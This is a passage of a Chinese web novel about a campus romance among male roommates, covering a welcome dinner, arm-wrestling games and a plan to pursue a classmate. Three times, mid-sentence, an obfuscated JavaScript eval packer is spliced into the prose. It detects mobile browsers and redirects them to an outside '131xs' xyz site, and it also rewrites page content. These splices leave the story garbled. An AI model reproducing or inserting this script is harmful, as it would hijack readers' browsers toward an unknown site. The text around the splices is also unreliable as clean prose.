真好。 闲聊的路途很短暂，没两分钟沈亦辰就看见了料理店的牌子。 “这家我没来过，你呢。” 方濯：“没。” “你喜欢吃韩国料理吗。” “我哥喜欢。” …… “你们高年级晚到都自罚一杯啊！都别想逃。”姜旭指着他俩，一副大哥大做派。 几张长桌子拼在一起，学弟学妹按性别自觉坐成两排，还专门空出几个位子。 本来大家还在相互聊天，他俩一进来就自动成了焦点。 “我靠！蓝衣服的是计算机系的方濯学长吗！好帅好帅啊！” “旁边那个男生好漂亮啊，我第一次见到这么俊美的男生……” “那个是沈亦辰学长，你没听过？” “他就是沈亦辰？建筑系系花啊！” “他们俩怎么一块来了？两个大帅哥站一起真养眼。” 沈亦辰的耳朵自动屏蔽了这些嘈杂，自顾自地在场上无数人脸中迅速搜罗。 搜罗了两圈还是没看见人，他弯腰仔细检查了一遍桌底，最终确认了段清野不在。 打开手机，发现那条微信他也一直都没回，一股失落感顿时涌上心头。 他悄悄把姜旭拉到一边，“你知道段清野去哪了吗，他为什么不来？” 姜旭正忙着各种加学妹微信，略敷衍地回他：“段清野？我今天一整天都没见着他人，不知道他去哪鬼混去了，等回去我让导员狠狠审判他！……哎哎哎对对我的码，就扫这个，24小时全天在线答疑解惑。” 沈亦辰叹了口气：“没事，你忙吧。” 这么喜欢社交的人，新生聚餐都不来。 看来是有什么要紧的事。 但是几个小时不回信息是不是有点不合常理？ 方濯那边的情况也没比他好到哪里去，想找的人同样没找到，发出去的信息也同样没得到回应。 见他捧着手机紧拧着眉，沈亦辰小心翼翼地问：“还在等你哥么？” 方濯“嗯”了声，眼皮抬也没抬。 下一秒一个电话进来，他连来电显示都没看就放到耳边。 餐厅太吵，沈亦辰听不清电话那头说的什么，只是看着方濯的表情从期待转为了落寞。 虽然是很细微的变化，还是被沈亦辰立即捕捉到。 这通电话结束得很快，方濯放下手机的动作却异常缓慢。 结局是什么，一目了然。 沈亦辰也不再多问。 姜旭：“俩迟到的学长，还傻站着不入座啊？再不坐下得罚两杯了哈，学弟学妹作证。” 方濯首先坐下来，看见面前摆着一杯，很爽快地拿起来一饮而尽。 沈亦辰随后坐在他旁边的空位。 认识方濯这么久以来，这还是沈亦辰第一次在他脸上看到某种“情绪”。 大多数时候，方濯这个人都像一台提前设定好程序的机器，似乎没有任何人、任何事能引起波澜。 今天是第一次，也是唯一的一次。 8. 喜欢谁 可能是生气的情绪，可能是失望的情绪，也可能都有。 可以肯定的一点是，出现的所有情绪是被他那位“哥哥”牵动的。 和所有人疏远唯独在意哥哥，是因为更在意亲情吗？ 沈亦辰没心思再往下深挖，因为他的注意力都集中在那条没被回复的消息上。 刨除有急事不能来的可能，他此刻更担心段清野是不是出了什么事。 这个念头一萌生，他便越来越坐立不安，越来越控制不住往坏了想。 桌上的男男女女伸手机要微信，沈亦辰机械地打开二维码，神色木然。 方濯就更不用说了，本来长了一张冰山扑克脸，有点情绪上来压根没人敢吱声。 学弟学妹的一腔热情被泼了冷水，有人调侃沈亦辰：“学长，你好像心不在焉的，是不舒服吗？” “对呀对呀，你要是身体不舒服就回去吧，反正我们也加微信了，不算白来。” 终于意识到不妥的沈亦辰僵僵地赔了个笑：“不好意思，可能是昨晚没睡好，没什么精神。” 一看苗头不对，姜旭马上跑来维持秩序：“啊哈哈哈大家才认识嘛比较尴尬，很正常。这样，我们玩点桌游破冰吧。” “狼人杀！” “不要吧，太俗了，都玩腻了，玩点别的呗。” “我也不要，我游戏黑洞，各位哥哥姐姐求放过。” 大家你一嘴我一嘴的讨论着，沈亦辰目不转睛盯着桌底的手机屏幕，心思早已飘到了九霄云外。 ——直到对面终于弹出一条信息。 [肚脐眼]：抱歉 [肚脐眼]：今天很忙一直在泡实验室 [肚脐眼]：才看见你的信息 心中大石落地，沈亦辰顿时放松了许多。 [二辰]：那就好 [二辰]：你没事就好 [肚脐眼]：你以为我出事了？ [肚脐眼]：担心我哦 [二辰]：……嗯 [二辰]：对了你实验做完了吗？ [二辰]：我们才开始不久 [二辰]：你要不要来 [肚脐眼]：你想我来吗 沈亦辰犹豫了。 段清野很聪明，把问题抛给他来决定。 打心眼里当然是希望的，只不过这么说出来……总觉得哪里怪怪的。 [二辰]：做实验应该很累吧 [二辰]：可以来玩玩 [二辰]：有很多学弟学妹 [肚脐眼]：看来你很喜欢了 ……那倒也没有。 开场到现在，他一个游戏都没参与，光顾着看手机了。 [肚脐眼]：方濯也来了？ [二辰]：来了 [肚脐眼]：呦，这场合他居然没缺席，挺意外的 [二辰]：对我们是一起来的 [肚脐眼]：一起？ [二辰]：他当时正好回宿舍放电脑，就一起走了 [肚脐眼]：哦。 [肚脐眼]：那你们也坐一起的吗 [二辰]：对 [肚脐眼]：那你应该很高兴 [肚脐眼]：而且他能被你拽去，说明你俩有戏 [肚脐眼]：机会把握住，别放过 [肚脐眼]：我看好你 [肚脐眼]：[/加油][/握拳] 半天不切入正题，沈亦辰有些急了：[所以你来嘛。] 对面迟疑了一阵，回他：[不了吧。] 又跟了句：[我去就当电灯泡了，影响你发挥] 不知怎么的，沈亦辰一下子觉得一切都不好玩了。 认识一个人需要耗费他好多精气神，他不喜欢这种场合，更不擅长结识新人。 如果有选择，他宁愿去看看段清野是怎么做实验的。 [二辰]：你真的不来 他在试图做最后的挣扎。 [肚脐眼]：好几天没怎么睡 [肚脐眼]：我回宿舍补会儿觉 [二辰]：哥 发完最后一个字，沈亦辰关掉了手机，整个人像只泄了气的皮球。 其实段清野说的没错，现在的确是一个独处的“好机会”。 可他就是提不起劲。 再说方濯正为他哥爽约的事儿郁闷呢，他怎么好去火上浇油。 越想今晚越无聊。 “怎么了辰，方濯臭着个脸，你也闷闷不乐的啊，”姜旭搂过他的肩膀，“跟我们一起玩游戏，高兴高兴嘛。” 沈亦辰一脸懵：“玩什么？” 姜旭：“先来个掰手腕，这个简单。” 沈亦辰：“好。” “输了的罚酒！” “那必须！” “哈哈哈快快先给loser提前满上几杯！” 游戏的规则也很简单，一只空酒瓶转两次，指到的两位幸运儿上擂台，赢的留下，输的则转下一位。 沈亦辰喜提开门红，对手是一位女生。 “哎呀旭哥，刚才忘了说了，要不我们再加个条件，只让同性比拼好不好？男女力量悬殊，对学妹太不公平了。” 学妹不以为然。 沈亦辰身形清瘦，看上去压根没比她大几个号，她本人又经常健身，指不定谁输谁赢。 “来吧学长，千万别放水。” “学妹你确定吗？” “没事儿，这样才刺激，我没问题！” 半秒内，学妹的胳膊已被撂倒。 学妹：“……” 大意了。 酒瓶接着转到一200斤胖子，胖子浑身肥膘抖了三抖，来势汹汹道：“不好意思啊学长，你可能要受苦了，我感觉我的肉能把你整个人压瘪，要不给你个重转的机会？” 沈亦辰异常平静地，“没关系。” “那我就不客气了！……啊啊啊卧槽！” 姜旭不可思议地瞅了眼秒表：“这次更快，半秒都不到。” 胖子：“……” 这不可能。 这不合理。 这不科学！ “二连胜，继续转酒瓶。” “三连胜，继续转继续转！我好激动啊！” …… N连胜后。 输家们坐成一排气喘吁吁地喝罚酒，在场无一人不目瞪口呆。 管他男的女的胖的瘦的，到沈亦辰这儿统统半秒内撂倒。 到最后姜旭连转酒瓶的力气都没了：“我草，太牛逼了哥。我歇菜了，我转不动了各位，有勇士想挑战自己上吧。” “我来！我就不信邪。” 说话人是体育系大一新生，下午刚打完比赛，穿着队服就来了。 这人身高逼近两米，裸露出的皮肤黝黑，一身骇人腱子肉看着足够有威慑力。 姜旭虎躯一震：“看来这位是专业选手来的。沈学长，保重。” “抱歉学长，这比赛我就没输过。我可不会因为你长得瘦弱就手下留情嗷。” 沈亦辰上下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521048|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扫了他一眼，丝毫没被他这体型和语言威胁到。心里想的是，这人穿球服一点也不好看，肌肉也不够匀称，比段清野差远了。 擂台桌上，两只黑白分明的胳膊交叠在一起。 沈亦辰轻轻握住对方的手，那粗糙纹理的触感惹得人有些不适。 果然，专业选手还是有两把刷子。 三秒过去，两人还是僵持不下。 不过各自的状态却大相径庭。 沈亦辰始终面不改色，对面则青筋暴起，在手腕被掰到45度时，忍不住发出了一声颤抖的咆哮。 姜旭拿个小板凳坐在中央，眼睁睁看着沈亦辰那只纤细白皙的手，将一只棒槌似的小臂轻松压制在了底下。 所有人：？？？？？？？？ 姜旭：“……哥，从今天开始，你就是我唯一的哥。” 体育生：“……草，学长，你是金刚芭比吧？？长得像个洋娃娃怎么力气大得出奇……他妈的，我要每天加练两小时，太特么伤人自尊了啊！” 沈亦辰安慰道：“没事，我是天生的，不用懊恼。” ？ 更懊恼了好吗！ “学长，你真是天生的吗？要不是，你也别藏着掖着，把秘诀告诉我吧呜呜呜呜……” 沈亦辰浅笑：“真是家族遗传。” 知道了，他明天就去改姓沈。 玩了一会儿沈亦辰也觉得没多大意思，毕竟他在这方面才真的是专业对口。 无聊之余，他抬眼瞥了下角落里默不吭声的方濯。 他的眼睛几乎钉在了手机上，屏幕的蓝光投射到他的脸上，将本就紧皱的眉衬得更加深邃。 周遭的一切仿佛自动与他隔绝，形成了喧闹和阴沉两个极端。 沈亦辰就这么看着他，心底突然难过起来。 方濯的世界好像永远只有他自己，任何人都不能近他半寸。 喜欢这样一个人，真的会有结果么？ 他害怕受伤。 他害怕踩空。 他害怕近他一步，便会自损一千。 如果早知道结果，命运还把他们安排到一块的意义是什么？ 仅仅是教会他道理，教会他要及时认清现实么？ …这种教人成长的方式，也真够狠的啊。 “行了行了，碰到真正的‘专业人士’咱们就老老实实认栽吧，下面换个项目玩玩。你们看玩个骰子还是大富翁？我这儿装备都齐全着呢。” “学长，要不还是真心话大冒险吧，我智商低，不想玩游戏还绞尽脑汁。” “考上京大还说智商低，你也不怕被你同学揍？真是的。” 这些人的讨论沈亦辰是一点儿没听进去。 他盯着某处发了会呆，然后挪开椅子，“我去趟洗手间，你们玩。” “不许偷跑哦沈学长，我们等你回来再开始！” “就是，我扳手腕输得太难看了，得赢学长一次才舒坦！” “人总不能太完美，肯定还有学长不擅长的游戏，等着，这把必须赢回来。” 不知道是不是发呆的时间太久脑子迷糊，沈亦辰径直走向了出口的方向。 大厅里人多又吵，升腾的烟雾从四面八方往他身上招呼，惹得他直咳嗽。 快走到门口时，他直直撞上一个人。 对方身高比他高出一截，由于撞击的动作磕到了下巴，沈亦辰听见了一声清晰的闷哼，好闻的气味随之钻入鼻腔。 他仰起头，逐渐睁大了双眼。 “段清野？” 9. 喜欢谁 沈亦辰呆呆地盯了他两秒，竟然一个字都没蹦出来。 他形容不上来此刻的心情。 见他一副呆愣的模样，段清野抬手捏捏他鼻子，“见到我激动得说不出话了？” “你刚才不是说不来吗？” 尾调轻微上扬，脸上是难掩的喜色，显然是惊讶之余的惊喜。 段清野在暗处弯了下唇，“我要是不来，他们要是拼命灌你酒怎么办？我当然得看着点。” 上级的学长学姐都是老狐狸，迎新玩游戏灌酒一直是惯例。 像沈亦辰这种看着就好欺负的小白兔，必然是重点关照对象，这他能不来吗。 “怎么样，现在几杯下去了？还清醒么？”不等沈亦辰回答，他已经歪过头，靠近他的嘴唇嗅了嗅。 一张帅脸突然在眼前放大，沈亦辰下意识后退了一步，“你干嘛？” “不对，没有酒味啊。”段清野直起腰杆，托着下巴打量他，“那你脸怎么这么红？” “……” “他们喝的果酒还是啤的？你到底喝了几杯？” “…我没喝。”沈亦辰沉默片刻，拽着他胳膊往里走，“你快点进来吧。” “嗷。” 那就好。 - 沈亦辰出去这一小会儿，场内的游戏进行到了白热化阶段。 在姜旭的努力下，大家很快互相熟络，场子算是彻底热起来了。 段清野的出现让在座的短暂噤了声。 他走在沈亦辰身后，浑身上下充满着松弛感，仪态却是端正而挺拔。 姜旭不满地点点手表，“段清野，你去哪儿鬼混去了，看看你迟到了多久！这得罚几杯，大家评评理。” “你也就会罚酒那一套了。”他随便找了个空椅子坐下，随手抓了杯酒饮尽。 嚯，还挺烈。 还好沈亦辰没喝，没人性的东西，呸。 解锁了新人物，众人焦点便随之转移到他身上。 “不公平，为什么上届颜值都这么逆天……我们这届新生都没看见几个帅哥。” “真想早生一年啊，生不逢时啊啊。” “段学长，你平时玩什么游戏啊，能不能带我上号？” “学长学长，你在哪个社团，有没有推荐？” “学长我们一个专业的，想保研的话有建议嘛？” 到了段清野这儿，这些人的拷问变得丰富又频繁。 沈亦辰认真想了一下原因，虽然段清野的五官比其他人都具有攻击性，偏偏性格是最随和的。 和方濯不同，他身上毫无生人勿近之感。 反而让人想、且敢于靠近。 余光瞥到某人一脸的疲态，沈亦辰笑说：“段学长泡了一天的实验室，你们放过他吧。” 这话倒是扫去了某人一些困意，“好善解人意啊沈学长。” 一位学弟捕捉到话语中的暗流涌动，直言道：“哎学长，我想问你是直男吗？你看我可以发展发展不，我练舞的，腰很软的。” 沈亦辰一口饮料差点喷出来。 对此，段清野给出了毫不犹豫的答案，“我不是gay，不好意思。” 学弟也很识相：“抱歉冒犯学长了。” 又补句：“不过万一以后学长突然也想试试男生，记得先考虑我。” 段清野：“？” “人的性向也是会流动的嘛。” 段清野：“。” 沈亦辰：“？” 不是？ 这一届的男同都这么？ 一点不带委婉的？ 真是小刀剌皮燕，开了眼了。 对此段清野也给出了毫不含糊的回答：“抱歉学弟，这个可能性不大。” 沈亦辰顿了下，随即表示赞同。 性向又不是皮带，人的性向本来就很难改变，这是客观事实。 要真有半分被“掰”弯的可能性，只能说明这人本身就不太直。 经过长时间的观察和鉴定，像段清野这么直的直男，怎么可能说弯就弯？ “啊，那好吧，抱歉学长，你别生气。”学弟的语气终于软下去，“不过学习上的问题还是可以请教你的吧？你会不会因为我是gay就拒绝？” “这个当然不会。” “好的，谢谢学长，以后多多指教！” 段清野也没什么兴趣和学弟学妹闲聊，他眼神随便一扫，定位到了角落的方濯。 这哥们儿坐在暗处一动不动，一副谁欠他五百万似的样子，气压低沉得吓人。 出于好奇，他给沈亦辰发了条微信：[你不是和方濯一块来的，怎么没下文？] 沈亦辰感到手机震了下，偷偷在桌底下打字回他：[他今天心情不好。] 段清野砸吧砸吧这几个字，不咸不淡地撇过脸。 …谁今天他妈心情好啊。 [我怎么觉得这家伙就没有心情好的时候？]他回。 沈亦辰忍不住笑了笑，回：[好像是。不过今天尤为明显。] 段清野又回：[你很关注他嘛。] 转念一想，不是废话吗？ 人家都说了暗恋这小子多年，对喜欢的人不就是会异常关注吗，还有什么好解释的。脱裤子放屁多此一问。 沈亦辰倒被他问不好意思了，欲盖弥彰地回：[也不是，是我个人对情绪的感知比较强烈] 又回：[其实比起他，我更觉得你有点不高兴] 段清野马上来了兴致：[是么？] 沈亦辰回说：[应该是你做了一天实验肯定很累吧，回去好好休息。] 段清野些许欣慰：[嗯，没有生你气] 沈亦辰：[我喜欢他确实会关注他，但我不是见色忘友的人，你大可放心。] 段清野不回了。 两人的加密通话到此结束。 “我有事，先走了。”暗处的男生站起身，在没人反应过来时离开了场子。 “方学长平时都这么高冷吗？” “哇塞他从来到现在真的一句话都没说过。” “我也是，我都不太敢靠近他。” 姜旭尴尬解围：“没有啦，他最近压力也大，学霸嘛，理解一下。” “里面有点闷，我出去透透气。”段清野第二个站起身。 “我也去。”沈亦辰第三个跟了出去。 姜旭：“哎你们……” 服了。 他的三个室友，一个比一个不给面子。 - 说是出去透透气，实际上段清野就想找个借口溜走。 沈亦辰陪聊也陪累了，场上又没有在意的人，他走得也是很干脆。 回校的小路傍着条河，两人一前一后，慢慢悠悠散着步。 周遭的环境从喧嚣降为静谧，沈亦辰感到舒适无比。 “段清野，你走慢点，我跟不上了。” 前面人给他一个潇洒的背影，“你腿短。” 沈亦辰不乐意了，直接两个健步上前，撩起T恤下摆，抵住他的胯，“谁说的？你看，你就是上身比我长而已。” 虽然偷偷踮了点脚，还偷偷提了点裤腰，但就算没作弊，应该也差不了多少。 十厘米的身高差，腿还能差多少！ 段清野对他的小学生行为没什么反应，但被一截白皙的腰占据了注意。 清瘦，但不骨瘦如柴。 纹理细腻，还有恰到好处的线条。 五秒后，他迅速移开视线，脸颊浮现几分燥意，“……把衣服放下，别着凉了。” 沈亦辰这才意识到他动作幅度太大，衣摆都快拉到肚脐了。他慌里慌张地整理好，与段清野拉开一小段距离，“……谢谢提醒。” 大概是为了缓解尴尬，段清野很快切到别的话题：“你，打算就这样了？” 沈亦辰有点懵：“你指的是什么？” “就，方濯。”段清野踢开路边的石子，“你不是喜欢他么，不打算采取什么行动？” “你对室友的八卦还真是穷追不舍啊。” “不行？” “行，当然行。”沈亦辰认真道，“我这属于暗恋人家，暗恋还能采取什么行动？” “就这么，暗恋一辈子？” 简短的问句，沈亦辰却沉默了。 暗恋一辈子。 按照他的性子，他觉得可能会。 21天养成一个习惯，五年是多少个21天。 他数学不好，不会算。 也不太想算。 对于现在的他来说，除了继续保持，他想他也别无他法。 “像你这样的人，可能永远也不会懂暗恋是什么感觉吧。”沈亦辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521049|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头看了看夜空。 段清野抬眼看了看沈亦辰，“我凭什么就不懂？” “你不会懂的。” “总要争取一下，起码不留遗憾。” “那你呢，哥。” “我什么？” “你遇到喜欢的人，会主动追吗？” “当然……会。不试试怎么知道有没有可能。” “算了，咱们俩没有可比性。我追男生你追女生，性格也天差地别，根本不是一个难度量级的，再说了，我……” “你很好。” “嗯？” “我说，”段清野放慢了脚步，“你很好。” - 夜里，宿舍床边的风沙沙作响，吵得人难以入眠。 姜旭和新生嗨到凌晨好几点，方濯也没回来过夜。剩余两人躺在床上，床铺时不时便发出吱呀的声音，似乎没有人是睡着的状态。 沈亦辰还在咀嚼段清野说的话。 你很好。 真的吗？ 他敏感，他内耗，他拧巴，他无法对自己做出“很好”的评价。 只有他自己知道，他的底色是自卑的。 在喜欢的人面前更是。 一个不完美的自己，一个自己都没法全盘接受的自己，是没法坦然追求另一个人、闯进另一个人的世界的。 比起是否能得到方濯这个人，他更在意自己永远畏畏缩缩的模样。 他真的配得上段清野口中的“你很好”么？ 他和段清野认识不过寥寥几天而已，怎么能下此定义。 或许段清野只是想安慰他，或是鼓励他罢了。 [肚脐眼]：你下来 看到微信弹窗，沈亦辰顿时睡意全无。 [二辰]：你怎么知道我没睡？ [肚脐眼]：下来 [二辰]：下哪？ [肚脐眼]：我床 沈亦辰关掉手机，小心翼翼踩下爬梯，犹豫着踩上了段清野的被子。 段清野掀开被子盘腿坐着，拍拍旁边的空地，“喏。” 沈亦辰跟他面对面坐下，“怎么了，你是不是失眠还没好。” “可能是。” “你都好几天没睡好觉了，你注意身体。” “知道。”段清野敷衍一句，实际上并不关心这个，“刚刚方濯群里发消息，说今晚不回来住。姜旭跟新生K歌去了，可能也得通宵。” 沈亦辰点点头，“你叫我下来就为了说这个呀。” “你不是也睡不着，”他枕着一条胳膊躺下，“陪你聊聊天。” 沈亦辰乐了，“确定不是你自己睡不着，想让我陪你聊天？” “那你不也下来了，你完全可以装睡不理我。” “那是为了感谢你，忙了一天实验还是来聚餐了。” “说到聚餐，你真的一杯都没被灌？” “真的。” “你们玩的什么游戏，这些人这么菜。” “掰手腕。” “？” “没人赢我。” “真假？不信。” “要不你来。” “不来，怕把你捏碎。” “你怕了？” 对付男人，激将法比什么法都好使。 话音未落，段清野一个打挺就坐起来了，“哪来的野小子，好大的口气。” 两人快速摆好架势，手心相贴的一瞬，沈亦辰下意识颤了一颤。 这只手宽大，温暖。 没有粘腻的触感。 没有粗糙的肌理。 和聚餐时握的每只手都不一样。 比赛没开始，段清野就感到伏在指节上的四指正在蜷缩。 “说我怕，现在到底是谁怕？” 沈亦辰终是放弃了对输赢的执念，慢慢抽回了手，“……今天比的太多，没力气了，不比了。” 刚好段清野也没有太大兴致，“沈亦辰。” 听见自己大名，沈亦辰本能地一怔，“干嘛。” “我想好了。” “…想好什么？” 紧接着，两条沉甸甸的胳膊搭在了他的肩膀上。 他顺着胳膊看过去，对上了一双炯炯有神的双眸。 眼底意味不明。 “不是喜欢方濯么，我帮你追。” 10. 帮你追 一节必修课结束后，沈亦辰去楼下售货机买了罐汽水。 课上讲的他已经什么都记不起来了，满脑子就只有段清野昨晚那句“我帮你追”。 沈亦辰当时懵了好久，说哥你开玩笑吗。 段清野说，本人虽然看起来吊儿郎当，但绝对言出必行，承诺过的事一定说到做到。 沈亦辰说哪有追人还要中间商的。 段清野说一架合格的僚机能助你事半功倍，考虑一下，不成功不收费。 沈亦辰回他说凌晨的决定不作数，你还是赶紧睡吧，转头就回床上去了。 搞得他一整晚也没怎么睡好。 “哎辰辰，你这会儿没课？” 说话人是刚从卫生间出来的邹伦。 沈亦辰从兜里抽了张纸递过去，“擦擦手。” “隔着几米呢就嫌弃上我了，您洁癖也太严重了。”邹伦委屈道。 沈亦辰：“爱干净也叫洁癖？” 邹伦：“好好好，下次我注意。” 沈亦辰：“你最近怎么样，和室友相处都正常吗。” 邹伦：“嗯嗯放心，他们都是正常人。” 又补道：“不过真没有我的菜，都是理工男穿搭理工男长相，让人毫无欲望。” 沈亦辰仔细想了一下：“我室友也是啊。” 邹伦斜他一眼：“他妈的，方濯那种五官和身形，你拿他跟普通理工男比？就算都穿格子衫戴黑框眼镜，那也是天差地别啊！” 沈亦辰深表同意。 就算同样是理工男，放到人堆里也是一眼能捕捉到的存在。 可能确实和脸的关系比较大吧。 还有气质。 不是所有理工男都能有方濯那种气质。 邹伦又说：“不过我跟你讲，方濯我是彻底放弃了，真的追不动一点。” 沈亦辰竖起耳朵：“你尝试过了？” 邹伦：“可不，我上网搜了各种攻略，什么黑招白招阴招阳招我都使了，他是真的完全不为所动。就跟台机器似的，约都约不出来，消息更是不回，这辈子没见过这么难搞的人。我反正是撑不住了，想追的请便。” 沈亦辰：“他就完全不理你？” 邹伦：“我正常请教他问题，他都能回，不过都是很简短很学术的那种。只要我一开始表露出想撩他的迹象，他就彻底不理我了。他简直是个无性恋者，鉴定完毕。” 邹伦：“因为我找他次数太多，他看出来我心思就对我避之不及了，我再坚持就属于骚扰了。哎，太挫败了。” 沈亦辰陷入良久沉思。 这听起来都像是追方濯会发生的事。 他脑补代入了一下自己，又再次打消了追方濯的念头。 他必须承认，方濯就是这么难搞的一个人。 他至今都无法理解，第一天在烧烤摊上，方濯那句“也不是”的含义。 嘴上说着有谈恋爱的心思，事实上是来者全拒。 “这只是我个人的失败教训啊，要是换你这张脸，我觉得还是很有胜算的，千万别被我影响。” 沈亦辰并没有这种自信。 邹伦已经算是很主动的个性，客观来讲长得也不算差，结果人家连个面子都不赏。 要换了他，场面还不知道会弄得多难堪。 他真应该好好感谢邹伦，给他提前打了个预防针。 邹伦：“看你和段清野走得挺近，你觉得他人怎么样。” 沈亦辰揭穿他：“所以你又准备对段清野下手了？” 邹伦：“那倒没有，因为他一看就特别会玩。口嗨归口嗨，我还不敢真去招惹。” 沈亦辰轻蹙眉，“没有，他不是。” “你俩才认识几天，你这就护上了，可见他段位多高了吧。我这么跟你说吧，他这种级别的帅哥，我就没见过一个不花的。方濯那种看着贼板正的还靠谱点，就是太难撩了。” 知人知面不知心，沈亦辰确实也拿不出证据，说明段清野不是海王。 他只是相信自己的直觉罢了。 “谈不谈的我是不想了，要是能睡到他，我这辈子也值了。” 沈亦辰越听眉头皱得越紧。 他觉得自己和这些gay越来越不能融入了。 “他是直男，你死心吧。” “靠，别提那伤心事了，再说段清野是直男我真的会撞墙。” 沈亦辰点点腕表：“你还是先上课吧，要迟到了。” 这边邹伦前脚刚跑，后脚那位直男就来了。 沈亦辰转身，看见他抱着手臂靠着售货机，还是那副懒散样：“同学，提议考虑得怎么样了。” 下节两人都没课，教学楼走廊空荡荡的，段清野的声音显得尤为清晰。 很好笑。 看见他的脸，沈亦辰最先想的是，这人没睡好怎么也不长黑眼圈，不公平。 “我不是说了，凌晨的决定不作数。” “谁说是凌晨的决定？”段清野夺过他的汽水，很自然地喝了一大口，“我想了整整一天呢。” 沈亦辰：“等下，我喝过的。” 段清野当没听见，又仰头猛灌了口。 沈亦辰：“。” 沈亦辰：“我放弃了。” 段清野：“？” 沈亦辰：“他很难追，我还是别自不量力了。” 段清野：“试都不试一下就打退堂鼓？” 沈亦辰：“我朋友试过了，他都告诉我了。” “你朋友是你朋友，你是你。”段清野搂住他的肩膀，“再说了，你有我，怕什么。” 沈亦辰不知道怎么反驳。 反正他潜意识就是觉得，这主意不靠谱。 有他……应该更加靠不了谱。 段清野：“追方濯不能用普通的方法追，因为他不是一般人。用你朋友的方法会失败，用我的就不一定了。” 沈亦辰掀起眼皮看他，“你追人经验很丰富？” 段清野：“不太丰富。” 段清野：“但我有天赋。” 沈亦辰：“。” 为了使人信服，他又打个补丁：“而且我也不是没追过人，不算没经验，你还是信我吧，总比信你自己强。” 不管怎么打补丁，沈亦辰还是对他的“经验”更感兴趣：“所以成功了么？” 段清野：“……” 段清野：“怎么说、…差点吧，呃，这不重要。” 沈亦辰：“这么说，你也有过喜欢的女生？” 沈亦辰：“只是因为一些原因没在一起？” “嗯……比较复杂，但这不重要，”段清野似乎在竭力岔开话题，“总之追方濯，你听我的准没错。” “哦。” 也许是一段不愉快的回忆，沈亦辰感到他并不想旧事重提，也就没再追问。 “所以这算是答应了？让我做你军师。” “我还没想好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521050|170720||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈亦辰认真道。 “或者你先自己试试，然后再决定需不需要我帮忙。” …… 最终沈亦辰接受了PlanB，先自己试试看。 他的个性向来如此，能自己办成的事绝不麻烦别人。 只不过这事儿有点不同。 这个世界上什么都能可能靠努力争取，唯独爱情，很难努力得来。 但即便他心知肚明这一点，他也想努力一下。 就像段清野说的，管他有没有结果，结果好不好，至少能不留遗憾吧。 老天都给了他和方濯成为室友的机会，搞不好就是在暗示他呢？ 不好好把握，岂不是浪费了老天的一片苦心。 做好了充足的心理准备，沈亦辰终于打算迈出第一步—— 跟方濯一起泡图书馆。 经过他缜密的逻辑分析，方濯这人完全拒绝网上闲聊，且回消息只回复学术相关问题。除了上课时间，他大部分时间都泡在图书馆，没课的日子直接从开馆待到闭馆，基本找不到第二个久留的场所。 综上所述，图书馆是最能接近方濯的地方。 他在宿舍群翻到了方濯的课表，发现他下午刚好也没课，于是梳理出了未来一周的作业，背着书包去了图书馆。 不幸，京大本部的图书馆实在太大了，这么一层一层地找人简直是大海捞针。 无奈之下，他只好去第一次遇见方濯的地方碰碰运气。 看见穿浅色格子衫的男生坐在熟悉的座位上后，沈亦辰露出了欣慰的微笑。 那个座位一定成了方同学的固定座位。他想。 就像高中时候，方濯也永远坐在教室后排最靠窗的角落，看书，学习。 有人说喜欢一个人就会下意识模仿他，不知道是不是这个原因，沈亦辰也一直倾向于选择靠窗的位置。 为了坐在方濯视野所及之处，他大胆拉开了他正对面的椅子。 椅子与地板的摩擦声并没能让方濯抬起头，沈亦辰心下松了口气，接着挨个掏出笔和图纸。 等到他快把一周的作业都做完了，方濯甚至还没注意到他存在。 沈亦辰内心是崩溃的。 整个过程方濯连眼皮都没抬一下，两人之间只有铅笔的沙沙响，压根找不到任何搭话的契机。 这种状态持续下去，还谈什么追不追的啊！ 就在这时，沈亦辰的微信奇迹般弹出了一条消息。 奇迹就奇迹在这条消息的来源不是别人，正是方濯。 沈亦辰心惊肉跳地点开，看见了一行简短的字：[你的图纸掉了] 他低头往地上一瞥，这才发现他画好的几张作业全散在了地上。 ……靠。 原来方濯早就知道对面坐的是他吗？！ 片刻震惊过后，沈亦辰弯下腰整理图纸，又赶紧回了条微信过去：[谢谢提醒！] [fz]：你一个人来学习吗 短短几个字又一次把沈亦辰击懵了。 是不是坐在这里太近了？ 是不是已经察觉到他在偷看了？ 是不是意图太明显了？？？ 一股羞耻感顿时用上心头，冲上了天灵盖。在再下一条信息弹出来之前，沈亦辰脑子一热地回了句：[其实，我不是一个人来的] [fz]：所以你是和你那个朋友， [二辰]：我是 [二辰]：和段清野一起来的 11. 帮你追 [fz]：段清野？ [二辰]：对 [二辰]：他马上下课就来，我帮他占位子的 [fz]：好 [fz]：没事了 聊天一结束，他立马切到和段清野的对话框。 